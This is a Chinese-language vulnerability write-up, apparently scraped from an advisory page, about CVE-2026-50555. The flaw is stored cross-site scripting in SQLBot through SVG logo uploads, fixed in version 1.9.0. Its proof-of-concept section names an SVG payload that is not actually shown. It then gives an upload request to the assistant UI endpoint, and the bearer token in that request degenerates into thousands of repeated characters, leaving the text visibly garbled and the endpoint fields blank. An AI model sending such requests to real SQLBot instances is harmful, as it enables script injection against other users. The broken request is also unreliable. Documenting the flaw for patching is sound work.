SQLBot Stored XSS via SVG Upload (CVE-2026-50555)

漏洞关键信息总结 漏洞概述 漏洞名称：Stored XSS via SVG Upload（通过 SVG 上传的存储型 XSS） CVE ID：CVE-2026-50555 严重程度：High（高危） 根因：SQLBot Community Edition v1.0 允许已认证用户上传 SVG 文件作为辅助 UI logo。服务器将 SVG 存储后，从同一应用源返回，未做净化或校验。由于 SVG 支持内嵌 JavaScript，当用户加载该 SVG 文件时，脚本会在 SQLBot Web 应用上下文中执行，从而构成存储型 XSS。 影响范围 受影响版本：< 1.9.0 已修复版本：1.9.0 受影响端点： - 上传端点： - 上传文件访问： 修复方案 补丁：该漏洞已在 v1.9.0 中修复。 临时缓解措施：建议将版本升级到 v1.9.0。 POC 代码 / 利用代码 示例 SVG 载荷（document.domain 测试） 示例易受攻击的请求 ``` PATCH /api/v1/system/assistant/ui HTTP/1.1 Host: 127.0.0.1:7777 user-agent: python-requests/2.32.5 Content-Type: multipart/form-data Accept-Encoding: gzip, deflate Accept: / Connection: close Content-Length: 499 X-SQLBot-TOKEN: bearer eyJ0eCI6IjI2IjInIjIiC6C616fgWVJ9_cjJZC18M6wJwVj0Vc61f61n66VwC1n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61n61

Goal Reached Thanks to every supporter — we hit 100%!

SQLBot Stored XSS via SVG Upload (CVE-2026-50555)

More from this source